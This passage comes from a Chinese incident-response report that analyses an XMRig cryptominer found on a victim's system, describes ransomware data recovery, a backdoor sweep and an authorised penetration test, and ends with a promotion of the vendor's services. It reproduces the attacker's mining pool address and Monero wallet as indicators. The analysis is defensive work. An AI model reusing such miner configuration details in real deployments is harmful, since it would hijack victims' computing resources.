大小 | 2973 bytes |
类型 | json |
SHA256 | 571d9b1fa9bb8f597ab43717409a90dcf30cb1459797c4a7f1a160c8fe6ef2c0 |
3.3.4 逆向分析
使用upx脱壳机脱壳后,拖进ida打开。
由信息可初步断定该文件为XMRig 6.21.2程序文件,使用vs编译。
该文件为开源程序,github下载链接: https://github.com/xmrig。下载为XMRig 6.21.2程序文件,使用010 editor对比其中的 WinRing0x64.sys;
使用bindiff对比其中的xmrig.exe和admin.exe;
代码部分完全相同。
各文件作用如下:
WinRing0x64.sys | XMRig矿机使用的驱动组件 |
---|---|
admin.exe | 矿机主程序 |
Config.json | 矿机配置文件,包含钱包地址,钱包密码,矿池地址 |
Config.json内容:
矿池地址 | auto.c3pool.org:443 |
---|---|
钱包地址 | 48VcHM6iD4kfXn2pLxVnFjGoapwXZQT9vc5gwJn3ecgxJdtidzqxgiX76TxEbDJKtggtGzWSQo5rfY9z5i8XLnWE5mgSMAi |
钱包密码 | new |
3.3.5 小结
此次分析该软件为XMRig挖矿软件的原版程序文件及配置。XMRig 恶意软件在后台运行,使用受害者的 CPU 或 GPU 执行复杂的计算,以挖掘门罗币。XMRig 恶意软件与攻击者控制的指挥和控制(C2)服务器通信。C2 服务器为恶意软件提供挖矿的配置设置,并接收有关挖矿进度和挖掘的加密货币的更新。
4.解密恢复
Solar团队安排工程师去到客户现场,线下协助客户进行勒索病毒解密恢复,最终成功恢复了被加密的数据文件,同时还对客户的网络安全情况做了全面的评估,并提供了相应的解决方法和建设思路,获得了客户的高度好评。
恢复前
恢复后
5.后门排查
完成解密后,Solar团队使用专用后门排查工具对客户服务器的自启动项、计划任务、可疑网络连接、账号密码强度、可疑进程等项目进行了排查,将遗留后门全部清除。并对隐患项提出了安全加固建议,确保不存在遗留后门,并对服务器进行快照及备份处理。下表为安全加固排查总表:
6.渗透测试
本次渗透测试经客户授权前提下操作
6.1 渗透测试结果
本次渗透测试目标为:
本次渗透测试共发现12个漏洞,其中8个高危,5个中危,漏洞类型包括:SQL注入漏洞、弱口令漏洞、未授权访问漏洞、目录遍历漏洞、文件上传漏洞。
7.安全建议
7.1 风险消减措施
资产梳理排查目标:根据实际情况,对内外网资产进行分时期排查
服务方式:调研访谈、现场勘查、工具扫描
服务关键内容:流量威胁监测系统排查、互联网暴露面扫描服务、技术加固服务、集权系统排查
7.2 安全设备调优
目标
通过对安全现状的梳理和分析,识别安全策略上的不足,结合目标防御、权限最小化、缩小攻击面等一系列参考原则,对设备的相关配置策略进行改进调优,一方面,减低无效或低效规则的出现频次;另一方面,对缺失或遗漏的规则进行补充,实现将安全设备防护能力最优化。
主要目标设备
网络安全防护设备、系统防护软件、日志审计与分析设备、安全监测与入侵识别设备。
7.3全员安全意识增强
目标:
通过网络安全意识宣贯、培训提升全方位安全能力
形式:
培训及宣贯
线下培训课表
若无法组织线下的集体培训,考虑两种方式:
1.提供相关的安全意识培训材料,由上而下分发学习
2.组织相关人员线上开会学习。线上培训模式。
线上学习平台
8.团队介绍
solar团队数年深耕勒索解密与数据恢复领域,在勒索解密和数据恢复领域建立了良好的声誉,以高效、安全、可靠的解决方案赢得了客户的信任。无论是个人用户还是大型企业,都能提供量身定制的服务,确保每一个被勒索软件侵害的数据都能够恢复到最佳状态,同时在解密数据恢复后,提供全面的后门排查及安全加固服务,杜绝二次感染的风险。同时,solar团队坚持自主研发及创新,在攻防演练平台、网络安全竞赛平台、网络安全学习平台方面加大研发投入,目前已获得十几项专利及知识产权。团队也先后通过了ISO9001质量管理体系、ISO14000环境管理体系、ISO45001职业安全健康管理体系 、ITSS(信息技术服务运行维护标准四级)以及国家信息安全漏洞库(CNNVD)技术支撑单位等认证,已构建了网络安全行业合格的资质体系。
9.数据恢复服务流程
多年的数据恢复处理经验,在不断对客户服务优化的过程中搭建了"免费售前+安心保障+专业恢复+安全防御"一体化的专业服务流程。
① 免费咨询/数据诊断
专业的售前技术顾问服务,免费在线咨询,可第一时间获取数据中毒后的正确处理措施,防范勒索病毒在内网进一步扩散或二次执行,避免错误操作导致数据无法恢复
售前技术顾问沟通了解客户的机器中毒相关信息,结合团队数据恢复案例库的相同案例进行分析评估,初步诊断分析中毒数据的加密/损坏情况。
② 评估报价/数据恢复方案
您获取售前顾问的初步诊断评估信息后,若同意进行进一步深入的数据恢复诊断,我们将立即安排专业病毒分析工程师及数据恢复工程师进行病毒逆向分析及数据恢复检测分析。
专业数据恢复工程师根据数据检测分析结果,定制数据恢复方案(恢复价格/恢复率/恢复工期),并为您解答数据恢复方案的相关疑问。
③ 确认下单/签订合同
您清楚了解数据恢复方案后,您可自主选择以下下单方式:
双方签署对公合同:根据中毒数据分析情况,量身定制输出数据恢复合同,合同内明确客户的数据恢复内容、数据恢复率、恢复工期及双方权责条款,双方合同签订,正式进入数据恢复专业施工阶段,数据恢复后进行验证确认,数据验证无误,交易完成。
④ 开始数据恢复专业施工
安排专业数据恢复工程师团队全程服务,告知客户数据恢复过程注意事项及相关方案措施,并可根据客户需求及数据情况,可选择上门恢复/远程恢复。
数据恢复过程中,团队随时向您报告数据恢复每一个节点工作进展(数据扫描 → 数据检测 → 数据确认 → 恢复工具定制 → 执行数据恢复 → 数据完整性确认)。
⑤ 数据验收/安全防御方案
完成数据恢复后,我司将安排数据分析工程师进行二次检查确认数据恢复完整性,充分保障客户的数据恢复权益,二次检测确认后,通知客户进行数据验证。
客户对数据进行数据验证完成后,我司将指导后续相关注意事项及安全防范措施,并可提供专业的企业安全防范建设方案及安全顾问服务,抵御勒索病毒再次入侵。